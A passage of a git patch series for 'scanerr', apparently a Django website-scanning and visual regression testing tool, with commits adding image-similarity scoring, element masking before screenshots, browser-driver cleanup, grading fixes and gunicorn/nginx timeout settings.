os.environ.get('AWS_ACCESS_KEY_ID') @@ -191,11 +194,10 @@ AWS_STORAGE_BUCKET_NAME = os.environ.get('AWS_STORAGE_BUCKET_NAME') AWS_S3_REGION_NAME = os.environ.get('AWS_S3_REGION_NAME') AWS_S3_ENDPOINT_URL = os.environ.get('AWS_S3_ENDPOINT_URL') -AWS_S3_ENDPOINT_PATH = os.environ.get('AWS_S3_ENDPOINT_PATH') -AWS_S3_CUSTOM_DOMAIN = os.environ.get('AWS_S3_CUSTOM_DOMAIN') -AWS_S3_URL_PATH = os.environ.get('AWS_S3_URL_PATH') AWS_LOCATION = os.environ.get('AWS_LOCATION') AWS_DEFAULT_ACL = os.environ.get('AWS_DEFAULT_ACL') +AWS_S3_URL_PATH = os.environ.get('AWS_S3_URL_PATH') + # General optimization for faster delivery AWS_IS_GZIPPED = True diff --git a/env/.env.dev.example b/env/.env.dev.example index 21cf847a..4fc015d7 100644 --- a/env/.env.dev.example +++ b/env/.env.dev.example @@ -67,12 +67,9 @@ SLACK_BOT_TOKEN = # s3 remote storage credentials AWS_ACCESS_KEY_ID = AWS_SECRET_ACCESS_KEY = -AWS_STORAGE_BUCKET_NAME = -AWS_S3_REGION_NAME = -AWS_S3_ENDPOINT_URL = -AWS_S3_ENDPOINT_PATH = -AWS_S3_CUSTOM_DOMAIN = -AWS_S3_URL_PATH = -STORAGE_DOMAIN = +AWS_STORAGE_BUCKET_NAME = storage-scanerr # example +AWS_S3_REGION_NAME = sfo3 # example +AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example +AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example AWS_LOCATION = static AWS_DEFAULT_ACL = public-read \ No newline at end of file diff --git a/env/.env.prod.example b/env/.env.prod.example index 47f56812..761bb49c 100644 --- a/env/.env.prod.example +++ b/env/.env.prod.example @@ -66,12 +66,9 @@ SLACK_BOT_TOKEN = # s3 remote storage credentials AWS_ACCESS_KEY_ID = AWS_SECRET_ACCESS_KEY = -AWS_STORAGE_BUCKET_NAME = -AWS_S3_REGION_NAME = -AWS_S3_ENDPOINT_URL = -AWS_S3_ENDPOINT_PATH = -AWS_S3_CUSTOM_DOMAIN = -AWS_S3_URL_PATH = -STORAGE_DOMAIN = +AWS_STORAGE_BUCKET_NAME = storage-scanerr # example +AWS_S3_REGION_NAME = sfo3 # example +AWS_S3_ENDPOINT_URL = https://sfo3.digitaloceanspaces.com # example +AWS_S3_URL_PATH = https://storage-scanerr.sfo3.digitaloceanspaces.com # example AWS_LOCATION = static AWS_DEFAULT_ACL = public-read \ No newline at end of file From 020c65930be86e6fb6b229e315114102a5ececc4 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 30 Mar 2022 13:27:46 -0500 Subject: [PATCH 027/277] fixed site_info_update for first_scan --- app/api/utils/scanner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 7f633667..7e887ac9 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -85,7 +85,7 @@ def first_scan(self): configs=self.configs ) - self.update_site_info(first_scan) + self.update_site_info(first_scan) return first_scan From 5cac40a71570b02810004102d3902072b41866b4 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 30 Mar 2022 14:36:17 -0500 Subject: [PATCH 028/277] added Scan rule to Test creation --- app/api/v1/ops/services.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 8bb3a89a..b8cc4bfe 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -199,6 +199,12 @@ def create_test(request, delay=False): post_scan = Scan.objects.get(id=post_scan_id) + if not Scan.objects.filter(site=site).exists() or Scan.objects.filter(site=site)[0].html == None: + data = {'reason': 'Site not yet onboarded'} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + + # creating test object test = Test.objects.create( site=site, From 3ac9b26560ee4b36dc0cd23cff6d81c27ce13e51 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 31 Mar 2022 08:39:37 -0500 Subject: [PATCH 029/277] increasing weight for image_delta score --- app/api/utils/tester.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py index 087537c6..9aa4ea5c 100644 --- a/app/api/utils/tester.py +++ b/app/api/utils/tester.py @@ -530,7 +530,7 @@ def run_test(self, index=None): images_score = images_data['average_score'] / 100 # weights - images_w = 2 + images_w = 4 From 64496926a3bf43cea85a8ff8b3b2004303b690ff Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 31 Mar 2022 10:29:48 -0500 Subject: [PATCH 030/277] fixed typo --- app/api/tasks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/tasks.py b/app/api/tasks.py index c96cd37d..eb9c36df 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -90,7 +90,7 @@ def delete_report_s3_bg(report_id): @shared_task def purge_logs(username=None): if username: - user = User.objcets.get(username=username) + user = User.objects.get(username=username) Log.objects.filter(user=user).delete() else: Log.objects.all().delete() From 50dc84455b93e8736f986e5e5f80292a38e4f0db Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 6 Apr 2022 09:53:54 -0500 Subject: [PATCH 031/277] added cv2 dependency --- requirements.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/requirements.txt b/requirements.txt index 0e27c08e..cd5db68c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -24,6 +24,7 @@ idna==2.10 kombu==5.1.0 Markdown==3.3.4 numpy==1.22.3 +opencv-python==4.5.5.64 Pillow==9.0.0 prometheus-client==0.8.0 prompt-toolkit==3.0.18 From f56d4d79bd29a9e7d3aa8c5a78886f53d7b074fa Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 6 Apr 2022 09:54:39 -0500 Subject: [PATCH 032/277] added driver_quit() method --- app/api/utils/driver_s.py | 31 ++++++++++++++++++++++++++++--- app/api/utils/scanner.py | 8 +++----- 2 files changed, 31 insertions(+), 8 deletions(-) diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py index fe56d8ff..582c3b0e 100644 --- a/app/api/utils/driver_s.py +++ b/app/api/utils/driver_s.py @@ -75,8 +75,7 @@ def driver_test(): + 'Selenium installed and working \N{check mark} \n' ) - driver.close() - driver.quit() + quit_driver(driver) sys.exit(0) @@ -139,4 +138,30 @@ def interact_with_page(driver): wait_time += interval - return \ No newline at end of file + return + + + + +def quit_driver(driver): + ''' + Quits and reaps all child processes in docker + ''' + print('Quitting session: %s' % driver.session_id) + driver.quit() + try: + pid = True + while pid: + pid = os.waitpid(-1, os.WNOHANG) + print("Reaped child: %s" % str(pid)) + + # avoid infinite loop cause pid value -> (0, 0) + try: + if pid[0] == 0: + pid = False + except: + pass + + + except ChildProcessError: + pass \ No newline at end of file diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 7e887ac9..ed52dd0c 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -1,4 +1,4 @@ -from .driver_s import driver_init as driver_s_init +from .driver_s import driver_init as driver_s_init, quit_driver from .driver_s import driver_wait from .driver_p import get_data from ..models import Site, Scan, Test @@ -51,8 +51,7 @@ def first_scan(self): html = self.driver.page_source logs = self.driver.get_log('browser') images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) - self.driver.close() - self.driver.quit() + quit_driver(self.driver) else: driver_data = asyncio.run( get_data( @@ -112,8 +111,7 @@ def second_scan(self): html = self.driver.page_source logs = self.driver.get_log('browser') images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) - self.driver.close() - self.driver.quit() + quit_driver(self.driver) else: driver_data = asyncio.run( get_data( From 68990e3870775b1a4d1e0bf0d08e8c2bcd091f2f Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 6 Apr 2022 09:54:56 -0500 Subject: [PATCH 033/277] fixed clicking issue --- app/api/utils/driver_p.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py index 0eead746..d3fffebf 100644 --- a/app/api/utils/driver_p.py +++ b/app/api/utils/driver_p.py @@ -40,11 +40,10 @@ async def driver_init( async def interact_with_page(page): - # simulate mouse movement and click on tag - html_tag = await page.xpath('/html') + # simulate mouse movement await page.mouse.move(0, 0) await page.mouse.move(0, 100) - await html_tag[0].click() + return page @@ -162,11 +161,13 @@ def record_error(error): page.on('pageerror', lambda error : record_error(error)) await page.goto(url, page_options) + # await page.waitForNavigation(navWaitOpt) await interact_with_page(page) html = await page.content() await driver.close() + data = { 'html': html, 'logs': logs, From 89f3acadb33ea4a2773cad94414b185496ca1cac Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 6 Apr 2022 09:55:46 -0500 Subject: [PATCH 034/277] added two new image scoring methods --- app/api/utils/image.py | 88 ++++++++++++++++++++++++++++++++++++++---- 1 file changed, 80 insertions(+), 8 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index f7709855..32a7c177 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -1,16 +1,16 @@ -from .driver_s import driver_init, driver_wait +from .driver_s import driver_init, driver_wait, quit_driver from .driver_p import driver_init as driver_init_p from selenium import webdriver from ..models import Site, Scan, Test from selenium.webdriver.chrome.options import Options from django.forms.models import model_to_dict from django.core.serializers.json import DjangoJSONEncoder -from sewar.full_ref import uqi, mse, ssim +from sewar.full_ref import uqi, mse, ssim, msssim, psnr, ergas, vifp, rase, sam, scc from scanerr import settings -from PIL import Image as I +from PIL import Image as I, ImageChops, ImageStat from pyppeteer import launch import time, os, sys, json, uuid, boto3, \ - statistics, shutil, numpy + statistics, shutil, numpy, cv2 @@ -122,8 +122,7 @@ def scan(self, site, configs, driver=None,): bottom = True if not driver_present: - driver.close() - driver.quit() + quit_driver(driver) return image_array @@ -207,6 +206,7 @@ async def scan_p(self, site, configs): # get screenshot await page.screenshot({'path': f'{pic_id}.png'}) + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') remote_path = f'static/sites/{site.id}/{pic_id}.png' root_path = settings.AWS_S3_URL_PATH @@ -246,8 +246,15 @@ async def scan_p(self, site, configs): def test(self, test, index=None): """ - compares each screenshot between the two scans and records + Compares each screenshot between the two scans and records a score out of 100%. + + Compairsons used : + - Structral Similarity Index (ssim) + - PIL ImageChop Differences, Ratio + - cv2 ORB Brute-force Matcher, Ratio + + """ # setup boto3 configurations @@ -303,11 +310,73 @@ def test(self, test, index=None): # convert to array post_img_array = numpy.array(post_img) + + # test images with PIL + def pil_score(pre_img, post_img): + try: + if (pre_img.mode != post_img.mode) \ + or (pre_img.size != post_img.size) \ + or (pre_img.getbands() != post_img.getbands()): + raise Exception('images are not comparable') + + # Generate diff image in memory. + diff_img = ImageChops.difference(pre_img, post_img) + # Calculate difference as a ratio. + stat = ImageStat.Stat(diff_img) + diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100 + pil_img_score = (100 - diff_ratio) + # print(f'PIL score -> {pil_img_score}') + return pil_img_score + + except Exception as e: + print(e) + + + # test with cv2 + def cv2_score(pre_img_array, post_img_array): + try: + orb = cv2.ORB_create() + + # detect keypoints and descriptors + kp_a, desc_a = orb.detectAndCompute(pre_img_array, None) + kp_b, desc_b = orb.detectAndCompute(post_img_array, None) + + # define the bruteforce matcher object + bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) + + # perform matches. + matches = bf.match(desc_a, desc_b) + # Look for similar regions with distance < 20. (from 0 to 100) + similar_regions = [i for i in matches if i.distance < 20] + if len(matches) == 0: + cv2_img_score = 0 + else: + cv2_img_score = (len(similar_regions) / len(matches)) * 100 + # print(f'cv2 -> {cv2_img_score}') + + return cv2_img_score + + except Exception as e: + print(e) + + + # test images try: img_score_tupple = ssim(pre_img_array, post_img_array) img_score_list = list(img_score_tupple) - img_score = statistics.fmean(img_score_list) * 100 + ssim_img_score = statistics.fmean(img_score_list) * 100 + # print(f'ssim -> {ssim_img_score}') + + pil_img_score = pil_score(pre_img, post_img) + # print(f'pil -> {pil_img_score}') + + cv2_img_score = cv2_score(pre_img_array, post_img_array) + # print(f'cv2 -> {cv2_img_score}') + + img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8 + # print(f'img_score ==> {img_score}') + except Exception as e: print(e) img_score = None @@ -423,6 +492,9 @@ def screenshot(self, site=None, url=None, configs=None, driver=None): "path": remote_path, } + # quit driver + quit_driver(driver) + return img_obj From be2bc6b5402c3370a10c6ab98642b7be668405ca Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 6 Apr 2022 09:56:08 -0500 Subject: [PATCH 035/277] added image_scores and avg_image_score --- app/api/utils/alerts.py | 10 +++++++++- app/api/utils/automations.py | 15 ++++++++++++--- 2 files changed, 21 insertions(+), 4 deletions(-) diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py index 9bf6ca6b..c8a8de05 100644 --- a/app/api/utils/alerts.py +++ b/app/api/utils/alerts.py @@ -107,8 +107,11 @@ def create_exp_str(item, automation, is_email=False): elif 'serverConfig' in e['data_type']: data_type = 'Server Config:\t'+str(item.yellowlab["scores"]["serverConfig"])+'\n\t' - elif 'images_score' in e['data_type']: + elif 'avg_image_score' in e['data_type']: data_type = ' Avg Image Score:\t'+str(item.images_delta["average_score"])+'\n\t' + elif 'image_scores' in e['data_type']: + data_type = 'List of Image Scores:\t'+str([i["score"] for i in item.images_delta["images"]])+'\n\t' + elif 'logs' in e['data_type']: data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t' @@ -219,6 +222,11 @@ def create_json_data(data, obj): elif 'serverConfig' == json_data[key]: json_data[key] = item.yellowlab["scores"]["serverConfig"] + elif 'avg_image_score' == json_data[key]: + json_data[key] = item.images_delta["average_score"] + elif 'image_scores' == json_data[key]: + json_data[key] = [i["score"] for i in item.images_delta["images"]] + return json_data diff --git a/app/api/utils/automations.py b/app/api/utils/automations.py index f9832147..e8e691d9 100644 --- a/app/api/utils/automations.py +++ b/app/api/utils/automations.py @@ -44,6 +44,10 @@ def automation(automation_id, object_id): for expression in expressions: + exp = None + data_type = None + value = str(float(re.search(r'\d+', str(expression['value'])).group())) + if '>=' in expression['operator']: operator = ' >= ' else: @@ -147,11 +151,16 @@ def automation(automation_id, object_id): elif 'health' in expression['data_type']: data_type = '((float(scan.lighthouse["scores"]["average"]) + float(scan.yellowlab["scores"]["globalScore"]))/2)' - elif 'images_score' in expression['data_type']: + elif 'avg_image_score' in expression['data_type']: data_type = 'float(test.images_delta["average_score"])' - value = str(float(re.search(r'\d+', str(expression['value'])).group())) - exp = f'{joiner}{data_type}{operator}{value}' + elif 'image_scores' in expression['data_type']: + data_type = '[i["score"] for i in test.images_delta["images"]]' + exp = f'{joiner}any(i{operator}{value} for i in {data_type})' + + if exp is None: + exp = f'{joiner}{data_type}{operator}{value}' + exp_list.append(exp) From 3cd5b26d3e8e0f6d35b0c1bccec19194c95efcc2 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 7 Apr 2022 09:42:56 -0500 Subject: [PATCH 036/277] added mask_ids methodology --- app/api/utils/image.py | 88 +++++++++++++++++++++++++++++++++++++- app/api/utils/scanner.py | 1 + app/api/v1/ops/services.py | 8 +++- 3 files changed, 93 insertions(+), 4 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 32a7c177..f0a3ed9b 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -19,8 +19,10 @@ class Image(): """ High level Image handler used to compare screenshots of - a website. Also known as VRT or Visual Regression Testing. - Contains two methods scan() and test(): + a website and retrieve single one-page screenshots. + Also known as VRT or Visual Regression Testing. + Contains five methods scan(), scan_p(), test(), + screenshot(), and screenshot_p(): def scan(site, driver=None) -> grabs multiple screenshots of the website and uploads @@ -38,6 +40,57 @@ def screeshot(site, driver=None) -> grabs single """ + def __init__(self): + + # Masking scripts + self.set_jquery = ( + """ + var jq = document.createElement('script'); + jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"; + document.getElementsByTagName('head')[0].appendChild(jq); + """ + ) + + self.mask_function = ( + """ + (function($){ + $.fn.overlayMask = function (action) { + var mask = this.find('.overlay-mask'); + + // Create the required mask + + if (!mask.length) { + this.css({ + position: 'relative' + }); + mask = $('
'); + mask.css({ + position: 'absolute', + width: '100%', + height: '100%', + color: 'green', + backgroundColor: 'green', + top: '0px', + left: '0px', + zIndex: 100, + }).appendTo(this); + } + + // Act based on params + + if (!action || action === 'show') { + mask.show(); + } else if (action === 'hide') { + mask.hide(); + } + + return this; + }; + })(jQuery) + + """ + ) + def scan(self, site, configs, driver=None,): """ @@ -63,6 +116,25 @@ def scan(self, site, configs, driver=None,): # request site_url driver.get(site.site_url) + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(configs['interval']), + min_wait_time=int(configs['min_wait_time']), + max_wait_time=int(configs['max_wait_time']), + ) + + # mask all listed ids + driver.execute_script(self.set_jquery) + time.sleep(5) + driver.execute_script(self.mask_function) + if configs['mask_ids'] is not None: + ids = configs['mask_ids'].split(',') + for id in ids: + driver.execute_script(f"$('#{id}').overlayMask();") + print('masked an element') + + # scroll one frame at a time and capture screenshot image_array = [] index = 0 @@ -179,6 +251,18 @@ async def scan_p(self, site, configs): # requesting site url await page.goto(site.site_url, page_options) + + # mask all listed ids + await page.evaluate(self.set_jquery) + time.sleep(5) + await page.evaluate(self.mask_function) + if configs['mask_ids'] is not None: + ids = configs['mask_ids'].split(',') + for id in ids: + await page.evaluate(f"$('#{id}').overlayMask();") + print('masked an element') + + # scroll one frame at a time and capture screenshot image_array = [] index = 0 diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index ed52dd0c..24466346 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -27,6 +27,7 @@ def __init__( 'window_size': '1920,1080', 'driver': 'selenium', 'device': 'desktop', + 'mask_ids': None, 'interval': 5, 'min_wait_time': 10, 'max_wait_time': 60, diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index b8cc4bfe..49d82a96 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -188,6 +188,9 @@ def create_test(request, delay=False): configs = { 'window_size': '1920,1080', 'interval': 5, + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, 'min_wait_time': 10, 'max_wait_time': 60, } @@ -380,10 +383,11 @@ def create_scan(request, delay=False): if not configs: configs = { - 'driver': 'selenium', - 'device': 'desktop', 'window_size': '1920,1080', 'interval': 5, + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, 'min_wait_time': 10, 'max_wait_time': 60, } From 322b320ad3acb9d421d8836fc4aa8334ebea79e4 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 7 Apr 2022 10:08:49 -0500 Subject: [PATCH 037/277] fixed grading --- app/api/utils/reporter.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py index d4b9066d..77dffb4a 100644 --- a/app/api/utils/reporter.py +++ b/app/api/utils/reporter.py @@ -177,13 +177,13 @@ def get_score_data(self, score, is_binary=False): if score >= 80: grade = score_types['a'] - elif 80 > score > 70: + elif 80 > score >= 70: grade = score_types['b'] - elif 70 > score > 50: + elif 70 > score >= 50: grade = score_types['c'] - elif 50 > score > 30: + elif 50 > score >= 30: grade = score_types['d'] - elif 30 > score > 0: + elif 30 > score >= 0: grade = score_types['e'] else: grade = score_types['f'] From c9dea9e7f7f7516f29b5c40745a1ba1ed38efca7 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 8 Apr 2022 08:39:23 -0500 Subject: [PATCH 038/277] testing server caching issue --- app/api/utils/image.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index f0a3ed9b..7eceae36 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -126,8 +126,11 @@ def scan(self, site, configs, driver=None,): # mask all listed ids driver.execute_script(self.set_jquery) + print('set jquery') time.sleep(5) driver.execute_script(self.mask_function) + print('set script') + if configs['mask_ids'] is not None: ids = configs['mask_ids'].split(',') for id in ids: From b585440fbd64609a476d7b5345fdee9d60d5600f Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 8 Apr 2022 08:44:39 -0500 Subject: [PATCH 039/277] fixed server caching issue --- app/api/utils/image.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 7eceae36..016bdd79 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -126,10 +126,8 @@ def scan(self, site, configs, driver=None,): # mask all listed ids driver.execute_script(self.set_jquery) - print('set jquery') time.sleep(5) driver.execute_script(self.mask_function) - print('set script') if configs['mask_ids'] is not None: ids = configs['mask_ids'].split(',') From 5dcbefadafd7d2fe666074074ace304ce4a8bcf1 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 8 Apr 2022 08:57:52 -0500 Subject: [PATCH 040/277] fixing js errors --- app/api/utils/image.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 016bdd79..c616783a 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -129,7 +129,7 @@ def scan(self, site, configs, driver=None,): time.sleep(5) driver.execute_script(self.mask_function) - if configs['mask_ids'] is not None: + if configs['mask_ids'] is not None and configs['mask_ids'] != '': ids = configs['mask_ids'].split(',') for id in ids: driver.execute_script(f"$('#{id}').overlayMask();") @@ -257,7 +257,7 @@ async def scan_p(self, site, configs): await page.evaluate(self.set_jquery) time.sleep(5) await page.evaluate(self.mask_function) - if configs['mask_ids'] is not None: + if configs['mask_ids'] is not None and configs['mask_ids'] != '': ids = configs['mask_ids'].split(',') for id in ids: await page.evaluate(f"$('#{id}').overlayMask();") From fe016bac758a1f1922b41b8a0d8e486b45f01a3c Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 8 Apr 2022 09:43:40 -0500 Subject: [PATCH 041/277] testing new JS method --- app/api/utils/image.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index c616783a..9be02c49 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -132,7 +132,8 @@ def scan(self, site, configs, driver=None,): if configs['mask_ids'] is not None and configs['mask_ids'] != '': ids = configs['mask_ids'].split(',') for id in ids: - driver.execute_script(f"$('#{id}').overlayMask();") + # driver.execute_script(f"$('#{id}').overlayMask();") + driver.execute_script(f"$('#{id}').hide();") print('masked an element') @@ -260,7 +261,7 @@ async def scan_p(self, site, configs): if configs['mask_ids'] is not None and configs['mask_ids'] != '': ids = configs['mask_ids'].split(',') for id in ids: - await page.evaluate(f"$('#{id}').overlayMask();") + await page.evaluate(f"$('#{id}').hide();") print('masked an element') From 92d9956671075e9fbe67fa9e37362305360d4c31 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 8 Apr 2022 10:43:00 -0500 Subject: [PATCH 042/277] fixed scoring defaults --- app/api/utils/image.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 9be02c49..62eccf52 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -435,7 +435,7 @@ def cv2_score(pre_img_array, post_img_array): # Look for similar regions with distance < 20. (from 0 to 100) similar_regions = [i for i in matches if i.distance < 20] if len(matches) == 0: - cv2_img_score = 0 + cv2_img_score = 100 else: cv2_img_score = (len(similar_regions) / len(matches)) * 100 # print(f'cv2 -> {cv2_img_score}') From f5464a26b8211b2fdca5d7798f2c142995b560b4 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 13 Apr 2022 09:47:27 -0500 Subject: [PATCH 043/277] increased gunicorn timout --- docker-compose.prod.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index bffa06dd..f841a818 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -18,7 +18,7 @@ services: python3 manage.py create_admin && python3 manage.py driver_s_test && python3 manage.py driver_p_test && - gunicorn scanerr.wsgi:application --bind 0.0.0.0:8000" + gunicorn --timeout 1000 scanerr.wsgi:application --bind 0.0.0.0:8000" expose: - 8000 env_file: From f840d9037c5d97bcc154db8236859208ed73251f Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 13 Apr 2022 09:56:58 -0500 Subject: [PATCH 044/277] added debugging to gunicorn --- docker-compose.prod.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index f841a818..178b32af 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -18,7 +18,7 @@ services: python3 manage.py create_admin && python3 manage.py driver_s_test && python3 manage.py driver_p_test && - gunicorn --timeout 1000 scanerr.wsgi:application --bind 0.0.0.0:8000" + gunicorn --timeout 1000 --workers 1 --threads 4 --log-level debug --bind 0.0.0.0:8000 scanerr.wsgi:application" expose: - 8000 env_file: From ca0090872493b879bef4558c34be400107a70206 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 13 Apr 2022 10:01:30 -0500 Subject: [PATCH 045/277] testing configs --- docker-compose.prod.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 178b32af..6d1ebd48 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -18,7 +18,7 @@ services: python3 manage.py create_admin && python3 manage.py driver_s_test && python3 manage.py driver_p_test && - gunicorn --timeout 1000 --workers 1 --threads 4 --log-level debug --bind 0.0.0.0:8000 scanerr.wsgi:application" + gunicorn --timeout 1000 --workers 1 --threads 4 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" expose: - 8000 env_file: From 2f2816c0d6a532ff8ab5d3078fb9f96a31f4a29b Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 13 Apr 2022 10:04:37 -0500 Subject: [PATCH 046/277] adding graceful-timout --- docker-compose.prod.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 6d1ebd48..cbc36248 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -18,7 +18,7 @@ services: python3 manage.py create_admin && python3 manage.py driver_s_test && python3 manage.py driver_p_test && - gunicorn --timeout 1000 --workers 1 --threads 4 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" + gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 30 scanerr.wsgi:application --bind 0.0.0.0:8000" expose: - 8000 env_file: From 839ded6f082ab3035c534397ac7c0a036b0daa62 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 13 Apr 2022 10:05:33 -0500 Subject: [PATCH 047/277] added debug back --- docker-compose.prod.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index cbc36248..2043ad55 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -18,7 +18,7 @@ services: python3 manage.py create_admin && python3 manage.py driver_s_test && python3 manage.py driver_p_test && - gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 30 scanerr.wsgi:application --bind 0.0.0.0:8000" + gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 30 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" expose: - 8000 env_file: From 7c78bb3ef21f244dea58a0eb3fbd8bafe0daf591 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 13 Apr 2022 10:28:28 -0500 Subject: [PATCH 048/277] adding configs to ignore client timeout --- nginx/custom.conf | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nginx/custom.conf b/nginx/custom.conf index a466e70f..c388b2f4 100644 --- a/nginx/custom.conf +++ b/nginx/custom.conf @@ -1,2 +1,4 @@ client_max_body_size 10M; +proxy_ignore_client_abort on; + From 355fbf4c04c5a07da28be07568c5778dd56c2be9 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 13 Apr 2022 10:56:46 -0500 Subject: [PATCH 049/277] adjusting timeouts for nginx and gunicorn --- docker-compose.prod.yml | 2 +- nginx/custom.conf | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 2043ad55..9593055b 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -18,7 +18,7 @@ services: python3 manage.py create_admin && python3 manage.py driver_s_test && python3 manage.py driver_p_test && - gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 30 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" + gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug scanerr.wsgi:application --bind 0.0.0.0:8000" expose: - 8000 env_file: diff --git a/nginx/custom.conf b/nginx/custom.conf index c388b2f4..ebe63395 100644 --- a/nginx/custom.conf +++ b/nginx/custom.conf @@ -1,4 +1,6 @@ client_max_body_size 10M; proxy_ignore_client_abort on; +proxy_connect_timeout 1000s; +proxy_read_timeout 1000s; From adbca6301e51a0b431caaff6bc30c3222322c5bb Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 15 Apr 2022 08:23:57 -0500 Subject: [PATCH 050/277] removed exceptionm handeling to test LH CLI --- 